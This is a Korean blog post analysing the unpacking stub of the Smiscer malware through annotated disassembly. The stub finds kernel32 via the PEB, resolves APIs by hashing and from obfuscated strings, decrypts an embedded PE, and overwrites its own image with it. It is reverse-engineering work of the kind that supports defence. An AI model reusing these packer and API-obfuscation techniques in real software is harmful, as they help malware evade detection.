티스토리 툴바


Smiscer - #2.실행압축해제.Unpack루틴

상세분석 2012/03/19 12:11

Smiscer - #2.실행압축해제.난독화B 에서 유효코드만을 골라 분석.
수행루틴은 크게 다음과 같다.

1. Kernel32.dll 핸들 찾기
2. GetProcAddress() API 주소 찾기
3. LoadLibrary, LocalAlloc 등 필요한 API 주소 가져오기
4. 동적 메모리 할당 후, 실행압축 되어 있는 원본 데이터를 복호화
5. 동적 메모리 할당 후, Unpack 루틴 복사
6. Unpack된 원본 파일을 실행중인 이미지에 덮어 쓰기
7. Unpack된 원본 파일의 EntryPoint로 JMP


;; 자신의 Handle, 즉 ImageBase 값을 지정한다.
3068045B    B8 FFFF6630     MOV     EAX, 3066FFFF
; EAX = 0x30670000 = hHandle
3068392E    40              INC     EAX
30683B13    9C              PUSHFD
30680CA5    60              PUSHAD
30683164    6A 00           PUSH    0
30681632    50              PUSH    EAX
30683C90    60              PUSHAD
306843D6    8D7C24 20       LEA     EDI, DWORD PTR SS:[ESP+20]
306820CE    50              PUSH    EAX
30680571    51              PUSH    ECX
30684653    52              PUSH    EDX
30681911    56              PUSH    ESI
30680C2D    57              PUSH    EDI
30683834    55              PUSH    EBP
30684478    FC              CLD
;; PEB(Process Environment Block)을 이용하여 Kernel32.dll의 핸들을 찾는다.
; http://churack.tistory.com/entry/PEBProcess-Environment-Block을-이용하여-Kernel32dll-핸들-찾기
306815D2    B8 30000000     MOV     EAX, 30
; FS:[0x30] = [7FFDF030] = 0x7FFD6000 = _TEB->ProcessEnviromentBlock;
30683352    64:8B00         MOV     EAX, DWORD PTR FS:[EAX]
; DS:[7FFD600C] = 0x00251E90 = _PEB->LoaderData = 프로세스의 로드된 DLL 목록 저장
306830FD    8B40 0C         MOV     EAX, DWORD PTR DS:[EAX+C]
; DS:[0x00251EA4] =0x00251EC8 = _PEB_LDR_DATA.InMemoryOrderModuleList->Flink
30680A6C    8B40 14         MOV     EAX, DWORD PTR DS:[EAX+14]
30683FB5    8BD0            MOV     EDX, EAX
; DS:[0x00251EF0] = 0x000205FA = _LDR_MODULE->BaseDllName->Buffer = (UNICODE "zzz.exe")
30684794    8B72 28         MOV     ESI, DWORD PTR DS:[EDX+28]
306805DD    B9 18000000     MOV     ECX, 18
30681E73    33FF            XOR     EDI, EDI
306814A0    33C0            XOR     EAX, EAX
30681A0D    AC              LODS    BYTE PTR DS:[ESI]
30682998    3C 61           CMP     AL, 61
30680C11   /0F8C 81280000   JL      zzz.30683498
30682DD4    2C 20           SUB     AL, 20
30683498    C1CF 0D         ROR     EDI, 0D
30682F41    03F8            ADD     EDI, EAX
306841C8    49              DEC     ECX
30683E01  ^\0F85 99D6FFFF   JNZ     zzz.306814A0
; DS:[0x00251EE0] = _LDR_MODULE->SizeOfImage : 0x00050000
3068095D    8B42 18         MOV     EAX, DWORD PTR DS:[EDX+18]
30683DB9    81F7 0918F562   XOR     EDI, 62F51809
; Kernel32.dll 인지 확인
30684119    81FF 52A4BF08   CMP     EDI, 8BFA452
; DS:[0x00251ED8] = 0x30670000 = _LDR_MODULE->BaseAddress
30680778    8B5A 10         MOV     EBX, DWORD PTR DS:[EDX+10]
; DS:[0x00251EC8] = 0x00251F20
; 만약 Kernel32.dll이 아닐 경우 Flink를 따라간다.
30682A89    8B12            MOV     EDX, DWORD PTR DS:[EDX]
30684460   /0F85 2E030000   JNZ     zzz.30684794
;; kernel32.dll의 로드된 이미지에서 Export 테이블을 검색하여 GetProcAddress() 주소를 찾는다.
; EBX = 0x7C800000 = kernel32.handle
3068314C    8B73 3C         MOV     ESI, DWORD PTR DS:[EBX+3C]
; ESI = 0x0000262C = IMAGE_OPTIONAL_HEADER.DirectoryTable[ExportTable].RVA
30684162    8B741E 78       MOV     ESI, DWORD PTR DS:[ESI+EBX+78]
; ESI = 0x7C80262C = ExportTableVA
30683388    03F3            ADD     ESI, EBX
; ECX = 0x00000001 = IMAGE_EXPORT_DIRECTORY.OrdinalBase
3068376A    8B4E 10         MOV     ECX, DWORD PTR DS:[ESI+10]
; EDI = 0x00002654 = IMAGE_EXPORT_DIRECTORY.AddressTableRVA
30682526    8B7E 1C         MOV     EDI, DWORD PTR DS:[ESI+1C]
; EBP = 0x0000441C = IMAGE_EXPORT_DIRECTORY.OrdinalTableRVA
30681321    8B6E 24         MOV     EBP, DWORD PTR DS:[ESI+24]
; ESI = 0x00003538 = IMAGE_EXPORT_DIRECTORY.NamePointerTableRVA
30684243    8B76 20         MOV     ESI, DWORD PTR DS:[ESI+20]
30681863    03F3            ADD     ESI, EBX
3068087F    03FB            ADD     EDI, EBX
306846B9    03EB            ADD     EBP, EBX
30684608    56              PUSH    ESI
306827D5    33D2            XOR     EDX, EDX
30681C26    F7D2            NOT     EDX
3068281E    42              INC     EDX
30684198    5E              POP     ESI
30682B38    56              PUSH    ESI
; ESI = ExportNamePointerTable
30682EC3    8B3496          MOV     ESI, DWORD PTR DS:[ESI+EDX*4]
30681F9B    03F3            ADD     ESI, EBX
306816B4    8B06            MOV     EAX, DWORD PTR DS:[ESI]
30683CAB    35 AC220E6B     XOR     EAX, 6B0E22AC
; ExportName이 GetProcAddress 인지 확인.
30682572    3D EB477A3B     CMP     EAX, 3B7A47EB
30682D58  ^\0F85 C0FAFFFF   JNZ     zzz.3068281E
306826D9    83C6 04         ADD     ESI, 4
306818AB    F706 8D909CBE   TEST    DWORD PTR DS:[ESI], BE9C908D
30683266  ^\0F85 B2F5FFFF   JNZ     zzz.3068281E
30683E49    D1E2            SHL     EDX, 1
30680B7D    0FB7042A        MOVZX   EAX, WORD PTR DS:[EDX+EBP]
3068219C    8B0487          MOV     EAX, DWORD PTR DS:[EDI+EAX*4]
; EAX = Kernel32.GetProcAddress
30682918    03C3            ADD     EAX, EBX
30680E2F    5E              POP     ESI
30680F72    5D              POP     EBP
30682003    5F              POP     EDI
3068153B    5E              POP     ESI
30683B8E    5A              POP     EDX
30683CDD    59              POP     ECX
306822D2    59              POP     ECX
306833BB    8947 E4         MOV     DWORD PTR DS:[EDI-1C], EAX
30681D48    8D6F E0         LEA     EBP, DWORD PTR DS:[EDI-20]
30681B62    6A 00           PUSH    0
;; GetProcAddress(kernel32.dll, "LoadLibrary")
30682428    B9 9E8D86BE     MOV     ECX, BE868D9E
3068050B    51              PUSH    ECX
30680DFF    F71424          NOT     DWORD PTR SS:[ESP]
30682838    B9 4C696272     MOV     ECX, 7262694C
306819D8    51              PUSH    ECX
3068265D    B9 B3909E9B     MOV     ECX, 9B9E90B3
306825A2    51              PUSH    ECX
306832CC    F71424          NOT     DWORD PTR SS:[ESP]
306818F8    54              PUSH    ESP
306809F1    53              PUSH    EBX
; kernel32.GetProcAddress()
30682AA1    FF55 04         CALL    DWORD PTR SS:[EBP+4]
; Stack DS:[0x0012FC90] = kernel32.LoadLibraryA
30681E8C    8947 E0         MOV     DWORD PTR DS:[EDI-20], EAX
30683467    83C4 10         ADD     ESP, 10
;; GetProcAddress(kernel32.dll, "VirtualProtect")
30682D8B    B9 9C8BFFFF     MOV     ECX, FFFF8B9C
30681B93    51              PUSH    ECX
306805C5    F71424          NOT     DWORD PTR SS:[ESP]
30682BA2    B9 EF8F2419     MOV     ECX, 19248FEF
30680B47    51              PUSH    ECX
30681CC1    B8 9DE0507C     MOV     EAX, 7C50E09D
3068474B    310424          XOR     DWORD PTR SS:[ESP], EAX
30681043    B9 E8813C2C     MOV     ECX, 2C3C81E8
3068357D    51              PUSH    ECX
306821E6    310424          XOR     DWORD PTR SS:[ESP], EAX
30683E91    B9 CB892257     MOV     ECX, 572289CB
30683F09    51              PUSH    ECX
3068289B    B8 9DE05023     MOV     EAX, 2350E09D
306829C8    310424          XOR     DWORD PTR SS:[ESP], EAX
306828E4    54              PUSH    ESP
30680FDC    53              PUSH    EBX
; kernel32.GetProcAddress()
30682AF0    FF55 04         CALL    DWORD PTR SS:[EBP+4]
; Stack DS:[0x0012FC98] = kernel32.VirtualProtect
30681815    8947 E8         MOV     DWORD PTR DS:[EDI-18], EAX
306836BC    57              PUSH    EDI
3068428B    54              PUSH    ESP
; kernel32.LoadLibraryA()
30681746    FF57 E0         CALL    DWORD PTR DS:[EDI-20]
30680D21    59              POP     ECX
30681EA4    85C0            TEST    EAX, EAX
306833D4  ^\0F84 99FBFFFF   JE      zzz.30682F73
;; GetProcAddress(kernel32.dll, "LocalAlloc")
30682F73    83C4 10         ADD     ESP, 10
306840D0    B9 6F630000     MOV     ECX, 636F
30682DF2    51              PUSH    ECX
30681357    B9 F4AC3F33     MOV     ECX, 333FACF4
30681E5B    81F1 98ED535F   XOR     ECX, 5F53ED98
30684421    51              PUSH    ECX
30681A92    B9 76895D0E     MOV     ECX, 0E5D8976
3068248B    51              PUSH    ECX
3068297F    B8 3AE63E6F     MOV     EAX, 6F3EE63A
30681A3F    310424          XOR     DWORD PTR SS:[ESP], EAX
30683C22    54              PUSH    ESP
30682CAD    53              PUSH    EBX
; kernel32.GetProcAddress
30680F42    FF55 04         CALL    DWORD PTR SS:[EBP+4]
; Stack DS:[0x0012FC9C] = kernel32.Alloc
30682C26    8947 EC         MOV     DWORD PTR DS:[EDI-14], EAX
3068378A    83C4 0C         ADD     ESP, 0C
;; GetProcAddress(kernel32.dll, "LocalFree")
30681C6E    B9 65000000     MOV     ECX, 65
30682410    51              PUSH    ECX
30684703    B9 45F3216B     MOV     ECX, 6B21F345
30683BDA    51              PUSH    ECX
3068063F    B8 29B5530E     MOV     EAX, 0E53B529
30684409    310424          XOR     DWORD PTR SS:[ESP], EAX
30683C0A    B9 65DA306F     MOV     ECX, 6F30DA65
30683564    51              PUSH    ECX
306808F9    310424          XOR     DWORD PTR SS:[ESP], EAX
30680DCD    54              PUSH    ESP
30682BBB    53              PUSH    EBX
; kernel32.GetProcAddress
30683EF1    FF55 04         CALL    DWORD PTR SS:[EBP+4]
; Stack DS:[0x0012FCA0] = kernel32.LocalFree
306811D8    8947 F0         MOV     DWORD PTR DS:[EDI-10], EAX
30682FA5    83C4 0C         ADD     ESP, 0C
;; LoadLibraryA("expsrv.dll")
30680E47    6A 00           PUSH    0
306837A2    68 6C6C0000     PUSH    6C6C
306812A5    68 72762E64     PUSH    642E7672
30680473    68 65787073     PUSH    73707865
30681126    54              PUSH    ESP
; kernel32.LoadLibraryA(expsrv.dll) = 0x0F9C0000
306806A3    FF57 E0         CALL    DWORD PTR DS:[EDI-20]
30681C0E    83C4 10         ADD     ESP, 10
306842A3    81EC 00020000   SUB     ESP, 200
3068456F    56              PUSH    ESI
30683946    57              PUSH    EDI
30682F5B    53              PUSH    EBX
30681C56    8BD8            MOV     EBX, EAX
306842F1    46              INC     ESI
306839AD    8B83 6E600000   MOV     EAX, DWORD PTR DS:[EBX+606E]
306823F6    0383 635B0000   ADD     EAX, DWORD PTR DS:[EBX+5B63]
30681F51   /0F84 1D430100   JE      zzz.30696274
306844AB    5B              POP     EBX
306836EC    5F              POP     EDI
30682357    5E              POP     ESI
306817FB    81C4 00020000   ADD     ESP, 200
;; LocalAlloc( LMEM_ZEROINIT, 0x3EB2E) = 0x00155938 : 내부에 암호화되어 저장된 PE 파일 복호화
30682806    68 00300300     PUSH    33000
306807E0    8BEC            MOV     EBP, ESP
306841E0    B8 B2020000     MOV     EAX, 2B2
30681B7B    8945 28         MOV     DWORD PTR SS:[EBP+28], EAX
30682868    68 2EEB0300     PUSH    3EB2E
30681D61    6A 40           PUSH    40
; kernel32.LocalAlloc
306829B0    FF55 10         CALL    DWORD PTR SS:[EBP+10]
30681716    50              PUSH    EAX
;; 0x30671F00에서 0x1494 Size 만큼 복호화 하여 0x00155938에 저장
30680673    8B75 24         MOV     ESI, DWORD PTR SS:[EBP+24]
; ESI = 0x30671F00
306807C8    81C6 001F0000   ADD     ESI, 1F00
3068294B    8BF8            MOV     EDI, EAX
306844C3    B9 94140000     MOV     ECX, 1494
30681553    33C0            XOR     EAX, EAX
306822EA    85C9            TEST    ECX, ECX
30683009  ^\0F84 6FE6FFFF   JE      zzz.3068167E
30680D53    AC              LODS    BYTE PTR DS:[ESI]
30683B5E    AA              STOS    BYTE PTR ES:[EDI]
3068306C    49              DEC     ECX
3068381C  ^\0F84 5CDEFFFF   JE      zzz.3068167E
30682C07    51              PUSH    ECX
306831B8    8BD0            MOV     EDX, EAX
306808E1    80E2 33         AND     DL, 33
306837D2  ^\0F85 88E2FFFF   JNZ     zzz.30681A60
306830CC    46              INC     ESI
30681E42    46              INC     ESI
3068425B    46              INC     ESI
30682CDE    FF0C24          DEC     DWORD PTR SS:[ESP]
30681B14    FF0C24          DEC     DWORD PTR SS:[ESP]
30683A68    FF0C24          DEC     DWORD PTR SS:[ESP]
30682C95   /E9 7C0C0000     JMP     zzz.30683916
30681A60    90              NOP
306847DF    50              PUSH    EAX
30684321    5A              POP     EDX
30682472    80E2 0A         AND     DL, 0A
306808AF   /0F85 61300000   JNZ     zzz.30683916
30683916    59              POP     ECX
306806BE   /E9 271C0000     JMP     zzz.306822EA
;; 0x30673455에서 0x22D16 Size 만큼 복호화 하여 0x00156AC3에 저장
; 0x30673394 + 0xC1 = 0x30673455
3068167E    81C6 C1000000   ADD     ESI, 0C1
30683D56    33DB            XOR     EBX, EBX
3068233D    B9 162D0200     MOV     ECX, 22D16
30680B15    33C0            XOR     EAX, EAX
30683116    85C9            TEST    ECX, ECX
306844F4  ^\0F84 47FFFFFF   JE      zzz.30684441
3068105B    AC              LODS    BYTE PTR DS:[ESI]
306809BE    AA              STOS    BYTE PTR ES:[EDI]
306815EA    43              INC     EBX
306824A8    A8 02           TEST    AL, 2
3068192A   /0F85 A41D0000   JNZ     zzz.306836D4
306826A5  ^\E9 FCE2FFFF     JMP     zzz.306809A6
306836D4    81FB 00D00000   CMP     EBX, 0D000
30683DE9  ^\0F82 B7CBFFFF   JB      zzz.306809A6
3068182E    33D2            XOR     EDX, EDX
30680BE1    3955 28         CMP     DWORD PTR SS:[EBP+28], EDX
30680811   /0F84 8F010000   JE      zzz.306809A6
30683CF6    FF4D 28         DEC     DWORD PTR SS:[EBP+28]
30682850    83C6 17         ADD     ESI, 17
30683BA7    83E9 17         SUB     ECX, 17
306809A6    49              DEC     ECX
306843A5   /0F84 96000000   JE      zzz.30684441
306845B8    51              PUSH    ECX
30683A10    8BD0            MOV     EDX, EAX
30684526    80E2 33         AND     DL, 33
30682E91   /0F85 17190000   JNZ     zzz.306847AE
306821B5    46              INC     ESI
30682100    46              INC     ESI
30682C78    46              INC     ESI
306824DA    83C3 03         ADD     EBX, 3
30682882    FF0C24          DEC     DWORD PTR SS:[ESP]
3068128B    FF0C24          DEC     DWORD PTR SS:[ESP]
306805F6    FF0C24          DEC     DWORD PTR SS:[ESP]
306847C7  ^\E9 ADDBFFFF     JMP     zzz.30682379
306847AE    8BD0            MOV     EDX, EAX
30682379    59              POP     ECX
3068336B  ^\E9 A6FDFFFF     JMP     zzz.30683116
;; 0x306A5D98에서 0x00018CE8 Size 만큼 0x00170C50에 복사
30684441    BE 985D0300     MOV     ESI, 35D98
30684684    0375 24         ADD     ESI, DWORD PTR SS:[EBP+24]
306842BE    B9 E88C0100     MOV     ECX, 18CE8
306804D8    F3:A4           REP     MOVS BYTE PTR ES:[EDI], BYTE PTR>
;; LocalAlloc(LMEM_ZEROINIT, 0x00034004) = 0x00194470
306842D6    58              POP     EAX
30681DDE    8BF0            MOV     ESI, EAX
30680FC3    BB 04400300     MOV     EBX, 34004
30680866    53              PUSH    EBX
30682E73    6A 40           PUSH    40
; kernel32.LocalAlloc
30680897    FF55 10         CALL    DWORD PTR SS:[EBP+10]
;; 0x00155938 -> 0x00194470 으로 0x00034004 만큼 복사
306816E5    8BCB            MOV     ECX, EBX
30682A10    60              PUSHAD
30681223    8BF8            MOV     EDI, EAX
3068409C    F3:A4           REP     MOVS BYTE PTR ES:[EDI], BYTE PTR>
3068389A    61              POPAD
;; LocalFree(0x00155938)
30680975    93              XCHG    EAX, EBX
30683232    50              PUSH    EAX
30682440    56              PUSH    ESI
; kernel32.LocalFree
30681388    FF55 14         CALL    DWORD PTR SS:[EBP+14]
;; PE 파일에 대한 전체 복호화
30681FE7    59              POP     ECX
30682184    8BF3            MOV     ESI, EBX
3068048F    8BFE            MOV     EDI, ESI
30682152    C1E9 02         SHR     ECX, 2
30680B95    B8 37000000     MOV     EAX, 37
306834CC    85C0            TEST    EAX, EAX
306831D2  ^\0F84 BADCFFFF   JE      zzz.30680E92
30681273    8BC0            MOV     EAX, EAX
306839DF    50              PUSH    EAX
306807F8    51              PUSH    ECX
3068209E    56              PUSH    ESI
306840B5    57              PUSH    EDI
3068463A    AD              LODS    DWORD PTR DS:[ESI]
30682FD9    2BC1            SUB     EAX, ECX
3068347F    35 9621EF93     XOR     EAX, 93EF2196
30680F8A    C1C8 19         ROR     EAX, 19
30681426    AB              STOS    DWORD PTR ES:[EDI]
30683FEC    49              DEC     ECX
30681BDE   /0F85 562A0000   JNZ     zzz.3068463A 
306841F9    5F              POP     EDI
306826C1    5E              POP     ESI
30682288    59              POP     ECX
3068175E    58              POP     EAX
30680EC3    49              DEC     ECX
306825C0    83C6 04         ADD     ESI, 4
30683021    8BFE            MOV     EDI, ESI
30681E29    8BC0            MOV     EAX, EAX
3068156E    48              DEC     EAX
30681156   /0F85 83280000   JNZ     zzz.306839DF
;; VirtualProtect(0x30670000, 0x36000, PAGE_EXECUTE_READWRITE, &)
;; 원본 실행 이미지에 복호화 한 PE로 덮어 쓰기 위하여 이미지의 메모리에 대한 권한을 PAGE_EXECUTE_READWRITE로 변환한다.
30680E92    8BC3            MOV     EAX, EBX
30681CF2    0340 3C         ADD     EAX, DWORD PTR DS:[EAX+3C]
306804A7    8BD0            MOV     EDX, EAX
30684101    8D4D 28         LEA     ECX, DWORD PTR SS:[EBP+28]
30682E3B    51              PUSH    ECX
; PAGE_EXECUTE_READWRITE
30681972    6A 40           PUSH    40
; SizeOfImage -> 0x00036000
3068102B    FF72 50         PUSH    DWORD PTR DS:[EDX+50]
; zzz.30670000
3068270E    FF75 24         PUSH    DWORD PTR SS:[EBP+24]
; kernel32.VirtualProtect
3068453E    FF55 0C         CALL    DWORD PTR SS:[EBP+C]
;; LocalAlloc(LMEM_ZEROINIT, 0x33000) = 0x00155938
;; 현재 실행 되는 이미지를 새로 생성한 메모리영역에 복사한다.
3068053B    60              PUSHAD
30681075    035B 3C         ADD     EBX, DWORD PTR DS:[EBX+3C]
30684273    FF75 00         PUSH    DWORD PTR SS:[EBP]
30684080    6A 40           PUSH    40
; kernel32.LocalAlloc
30684180    FF55 10         CALL    DWORD PTR SS:[EBP+10]
30682BEE    50              PUSH    EAX
;; VirtualProtect(0x00155938, 0x33000, PAGE_EXECUTE_READWRITE, &)
;; 코드 실행을 위하여 생성한 메모리영역을 PAGE_EXECUTE_READWRITE로 설정한다.
306845D3    8D4D 28         LEA     ECX, DWORD PTR SS:[EBP+28]
30682F24    51              PUSH    ECX
30683F21    6A 40           PUSH    40
30680EAA    FF75 00         PUSH    DWORD PTR SS:[EBP]
3068198A    50              PUSH    EAX
; kernel32.VirtualProtect
30680FF8    FF55 0C         CALL    DWORD PTR SS:[EBP+C]
306821FE    58              POP     EAX
;; EntryPoint(0x306733A1)에서 0x33000 크기 만큼 0x00155938로 복사
; ESI = 0x30670000
306829F8    8B75 24         MOV     ESI, DWORD PTR SS:[EBP+24]
306846EA    56              PUSH    ESI
30683198    8B4E 3C         MOV     ECX, DWORD PTR DS:[ESI+3C]
; 0x306700A8->AddressOfEntryPoint = 0x306733A1
30682D3F    037431 28       ADD     ESI, DWORD PTR DS:[ECX+ESI+28]
30681DC6    8BF8            MOV     EDI, EAX
3068352D    57              PUSH    EDI
306835FB    8B4D 00         MOV     ECX, DWORD PTR SS:[EBP]
30681F08    F3:A4           REP     MOVS BYTE PTR ES:[EDI], BYTE PTR>
306843EF    5F              POP     EDI
30680D08    5E              POP     ESI
;; 실행 이미지를 덮어쓰는 작업을 새로 생성한 메모리영역으로 이동하여 수행한다.
;; 그렇지 않고 계속 현재 이미지 영역내에서 수행할 경우…. Error!!
306831EA    E8 6BF3FFFF     CALL    zzz.3068255A
; zzz.306831EF -> 자신이 실행시킬 다음 코드를 가져온다.
3068255A    8B0424          MOV     EAX, DWORD PTR SS:[ESP]
; zzz.30670000 -> RVA값을 구한다.
306834E4    2B45 24         SUB     EAX, DWORD PTR SS:[EBP+24]
; 0x00155938 에서 현재 RVA값을 구하고.
30683B76    03C7            ADD     EAX, EDI
306832B2    8B4E 3C         MOV     ECX, DWORD PTR DS:[ESI+3C]
; AddressOfEntryPoint 값을 빼면.
30680C8D    2B4431 28       SUB     EAX, DWORD PTR DS:[ECX+ESI+28]
; 나오는 위치로 JMP, 0x00165786
30681E11    890424          MOV     DWORD PTR SS:[ESP], EAX
306834B3    C3              RETN
;; Unpack한 이미지를 원본 실행 이미지에 덮어 쓰는 작업
00163C33    87C9            XCHG    ECX, ECX
00163624    897D 28         MOV     DWORD PTR SS:[EBP+28], EDI
001648BC    61              POPAD
00165830    60              PUSHAD
00166031    68 00000000     PUSH    0
00166B83    5E              POP     ESI
00162F6F    68 00000000     PUSH    0
00164D20    5F              POP     EDI
00162FB8    85F6            TEST    ESI, ESI
001636A5   /E9 AE130000     JMP     00164A58
00164A58    61              POPAD
001640C8    53              PUSH    EBX
001651D6    8BF3            MOV     ESI, EBX
00164FD8    8BCB            MOV     ECX, EBX
; DS:[0x00194470+0x3C] = DS:[0x001944AC] = 0x000000E8 -> PE Header
00165E7B    0349 3C         ADD     ECX, DWORD PTR DS:[ECX+3C]
00163064    51              PUSH    ECX
; EAX = SizeOfOptionalHeader = 0x00E0
00164090    0FBF41 14       MOVSX   EAX, WORD PTR DS:[ECX+14]
00164073    83C0 18         ADD     EAX, 18
; ECX = SizeOfHeader = 0x00000400
001630F6    8B49 54         MOV     ECX, DWORD PTR DS:[ECX+54]
00164C24    8B7D 24         MOV     EDI, DWORD PTR SS:[EBP+24]
00164B8D    60              PUSHAD
;; LocalAlloc(LMEM_ZEROINIT, 0x500) = 0x00188940
001666C8    68 00050000     PUSH    500
00165F14    6A 40           PUSH    40
; kernel32.LocalAlloc
00166305    FF55 10         CALL    DWORD PTR SS:[EBP+10]
00163C94    8945 18         MOV     DWORD PTR SS:[EBP+18], EAX
;; 0x30670000 에서 0x400크기만큼 0x00188940으로 복사
;; 현재 실행 이미지의 PE 헤더에 대한 정보를 백업해 둔다.
00163BB1    8BF8            MOV     EDI, EAX
0016423E    B9 00010000     MOV     ECX, 100
00163D79    8B75 24         MOV     ESI, DWORD PTR SS:[EBP+24]
00164928    F3:A5           REP     MOVS DWORD PTR ES:[EDI], DWORD PTR DS:[ESI]
001664D0    61              POPAD
;; 헤더 부분 복사(IMAGE_DOS_HEADER, IMAGE_NT_HEADERS, IMAGE_SECTION_HEADERS)
00165D9B    60              PUSHAD
00164CD6    8BC1            MOV     EAX, ECX
; SectionAlignment에 맞게 사이즈 구하기
001632D2    E8 2E150000     CALL    00164805
  00164805    60              PUSHAD
  00162EC0    8BCB            MOV     ECX, EBX : ECX = 0x00194470
  00166338    0349 3C         ADD     ECX, DWORD PTR DS:[ECX+3C]
  ; ECX = 0x00001000 = SectionAlignment
  00163D2B    8B49 38         MOV     ECX, DWORD PTR DS:[ECX+38]
  00165C3B  ^\E9 F7DEFFFF     JMP     00163B37
  00163B37    33D2            XOR     EDX, EDX
  00166018    F7F1            DIV     ECX
  00162ABA    85D2            TEST    EDX, EDX
  00165472  ^\0F84 47D8FFFF   JE      00162CBF
  001645CD    40              INC     EAX
  00162CBF    F7E9            IMUL    ECX
  00165F8F    894424 1C       MOV     DWORD PTR SS:[ESP+1C], EAX
  001649F0    61              POPAD
  00165B45    C3              RETN
00165BDA    8BC8            MOV     ECX, EAX
00164BC2    33C0            XOR     EAX, EAX
001641D5    C1E9 02         SHR     ECX, 2
00164B75    F3:AB           REP     STOS DWORD PTR ES:[EDI]
001645FD    61              POPAD
; 0x00194470 에서 0x3067000 으로 0x400 크기만큼 복사
001646AF    F3:A4           REP     MOVS BYTE PTR ES:[EDI], BYTE PTR DS:[ESI]
001647B5    59              POP     ECX
;; 각 섹션 복사
; EDX = 0x0004 = NumberOfSections
00162B24    0FBF51 06       MOVSX   EDX, WORD PTR DS:[ECX+6]
00165441    03C8            ADD     ECX, EAX
0016625A    8BF2            MOV     ESI, EDX
00163A6D    C1E6 03         SHL     ESI, 3
00163334    C1E2 05         SHL     EDX, 5
00163989    8D1432          LEA     EDX, DWORD PTR DS:[EDX+ESI]
0016304C    03D1            ADD     EDX, ECX
; SectionHeader->PointerToRawData
00164BDA    8B71 14         MOV     ESI, DWORD PTR DS:[ECX+14]
00165AE2    50              PUSH    EAX
00164C88    51              PUSH    ECX
001642AB    52              PUSH    EDX
00162EA8    8BC6            MOV     EAX, ESI
0016495D    8BCB            MOV     ECX, EBX
001650EB    0349 3C         ADD     ECX, DWORD PTR DS:[ECX+3C]
; ECX = 0x200 = FileAlignment
00162CD9    8B49 3C         MOV     ECX, DWORD PTR DS:[ECX+3C]
00165555    33D2            XOR     EDX, EDX
; EAX = PointerToRawData / FileAlignment
0016315F    F7F1            DIV     ECX
00163287    0FAFC8          IMUL    ECX, EAX
00166470    56              PUSH    ESI
0016334C    59              POP     ECX
0016548A    5A              POP     EDX
00165A93    59              POP     ECX
00162D27    58              POP     EAX
; ESI = 0x00194470 + 0x400 = 0x00194870 = Section Start
00166564    03F3            ADD     ESI, EBX
; EDI = 0x00001000 = Section RVA
00163675    8B79 0C         MOV     EDI, DWORD PTR DS:[ECX+C]
; 0x30670000 + 0x1000 = 0x30671000 = Section Start
00163D43    037D 24         ADD     EDI, DWORD PTR SS:[EBP+24]
0016467E    56              PUSH    ESI
00165BF3    57              PUSH    EDI
001644D0    51              PUSH    ECX
; SectionHeader->VirtualSize
001657B1    8B41 08         MOV     EAX, DWORD PTR DS:[ECX+8]
; SectionAlignment에 맞게 사이즈 구하기
00164AA2    E8 5EFDFFFF     CALL    00164805
00164AD9    8BC8            MOV     ECX, EAX
0016593D    9C              PUSHFD
0016451A    33C0            XOR     EAX, EAX
; Section Data 0으로 초기화
00165FC4    F3:AB           REP     STOS DWORD PTR ES:[EDI]
0016389C    59              POP     ECX
00163CC5    5F              POP     EDI
00166680    5E              POP     ESI
; EAX = 0x7000 = SectionHeader->SizeOfRawData
0016438E    8B41 10         MOV     EAX, DWORD PTR DS:[ECX+10]
; FileAlignment에 맞게 크기 구함
00164D38    E8 A40A0000     CALL    001657E1
  001657E1    60              PUSHAD
  0016418D    8BCB            MOV     ECX, EBX
  00164502    034B 3C         ADD     ECX, DWORD PTR DS:[EBX+3C]
  ; ECX = 0x200 = FileAlignment
  001644B7    8B49 3C         MOV     ECX, DWORD PTR DS:[ECX+3C]
  00163B37    33D2            XOR     EDX, EDX
  00166018    F7F1            DIV     ECX
  00162ABA    85D2            TEST    EDX, EDX
  00165472  ^\0F84 47D8FFFF   JE      00162CBF
  001645CD    40              INC     EAX
  00162CBF    F7E9            IMUL    ECX
  00165F8F    894424 1C       MOV     DWORD PTR SS:[ESP+1C], EAX
  001649F0    61              POPAD
  00165B45    C3              RETN
0016607A    51              PUSH    ECX
001668D0    8BC8            MOV     ECX, EAX
00166458    85C9            TEST    ECX, ECX
00164F77   /0F85 E50E0000   JNZ     00165E62
; 복사를 위하여 사이즈를 4로 나눔
00165E62    C1E9 02         SHR     ECX, 2
; Section 내용 복사
001662BD    F3:A5           REP     MOVS DWORD PTR ES:[EDI], DWORD PTR DS:[ESI]
00164221    59              POP     ECX
; 다음 섹션
00165E95    83C1 28         ADD     ECX, 28
00165E49    3BCA            CMP     ECX, EDX
00165BC2  ^\0F85 12F0FFFF   JNZ     00164BDA
00166189    E8 FFD4FFFF     CALL    0016368D
  0016368D    60              PUSHAD
  00166519    8BF3            MOV     ESI, EBX
  0016599B    0376 3C         ADD     ESI, DWORD PTR DS:[ESI+3C]
  ; ESI = 0x0019458C = 0x30670000 = ImageBase
  00163DE2    8B7E 34         MOV     EDI, DWORD PTR DS:[ESI+34]
  00162CF1    3B7D 24         CMP     EDI, DWORD PTR SS:[EBP+24]
  00162ED8   /0F84 12210000   JE      00164FF0
  00164FF0    61              POPAD
  001646D0    C3              RETN
;; Import Address Table 세팅
0016618E    9C              PUSHFD
00166BB9    8B75 24         MOV     ESI, DWORD PTR SS:[EBP+24]
00165588    0376 3C         ADD     ESI, DWORD PTR DS:[ESI+3C]
; DirectoryTable[ImportTableRVA]
00163AA2    8BB6 80000000   MOV     ESI, DWORD PTR DS:[ESI+80]
00164E63    85F6            TEST    ESI, ESI
00163190  ^\0F84 8CFAFFFF   JE      00162C22
; 0x30670000 + 0x00032F4C = ImportTableVA
00165309    0375 24         ADD     ESI, DWORD PTR SS:[EBP+24]
; [ESI+10] = ImportDirectoryTable->ImportAddressTableRVA = 0x000080DC
00165799    837E 10 00      CMP     DWORD PTR DS:[ESI+10], 0
00163757  ^\0F84 C5F4FFFF   JE      00162C22
001647EC    56              PUSH    ESI
; EBX = 0x0003392C = ImportDirectoryTable->NameRVA
001665E6    8B5E 0C         MOV     EBX, DWORD PTR DS:[ESI+C]
; EBX = 0x306A392C = "ntdll.dll"
00163C63    035D 24         ADD     EBX, DWORD PTR SS:[EBP+24]
; EDI = [0x306A2F5C] = 0x80DC = ImportDirectoryTable->ImportAddressTableRVA
00163787    8B7E 10         MOV     EDI, DWORD PTR DS:[ESI+10]
0016415C    037D 24         ADD     EDI, DWORD PTR SS:[EBP+24]
001653A1    833E 00         CMP     DWORD PTR DS:[ESI], 0
; ImportDirectoryTable->ImportNameTableRVA가 0인지 확인하여...
00166D8E  ^\0F84 B3F9FFFF   JE      00166747
